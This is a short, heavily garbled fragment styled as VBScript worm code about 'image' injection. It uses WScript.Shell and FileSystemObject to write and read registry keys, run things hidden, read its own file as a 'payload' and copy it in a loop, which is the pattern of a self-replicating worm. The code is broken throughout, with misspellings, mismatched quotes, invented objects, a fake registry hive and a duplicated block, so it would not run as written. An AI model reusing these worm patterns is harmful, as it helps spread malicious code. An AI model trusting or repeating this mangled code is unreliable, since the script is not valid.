Script

inject.image object
Set shellobject=ImageObject(”WScript. Shell’)
shellobject.regwrite “H_KEY\software\customize\CurrentItems\PastItems”
Set fi[esystem= Imageobject(”scripting.filesystemobject”)
filesystem.copyfile=(”OnClick,2)
if shellobject.regread(“H_KEY\software\customize\CurrentItems\PastItems”)
“1” then inject.referer
Set shellobject=ImageObject(”WScript. Shell’)
shellobject.regwrite “H_KEY\software\customize\CurrentItems\PastItems”
Set fi[esystem= Imageobject(”scripting.filesystemobject”)
filesystem.copyfile=(”OnClick,2)
if shellobject.regread(“H_KEY\software\customize\CurrentItems\PastItems”)
“1” then
ShowInHidden.function\.referer
wscript.scriptfu[[name,filesystem.GetSpecia[Image(1)
&“\.jpg\.gif.tiff.ico”
if she[[object.run
Set wormffte=filesystem.opentextfile(wscript.scriptfullname,1)
payload=wormffte.readall
wormffte.Open
Do (filesystem.fileexists(wscript.scriptfullname)
If Not Set newfile=filesystem.createtextfile(wscript.scriptfullname,True)
newfile.write payload
newfile.Open
Loop
Image function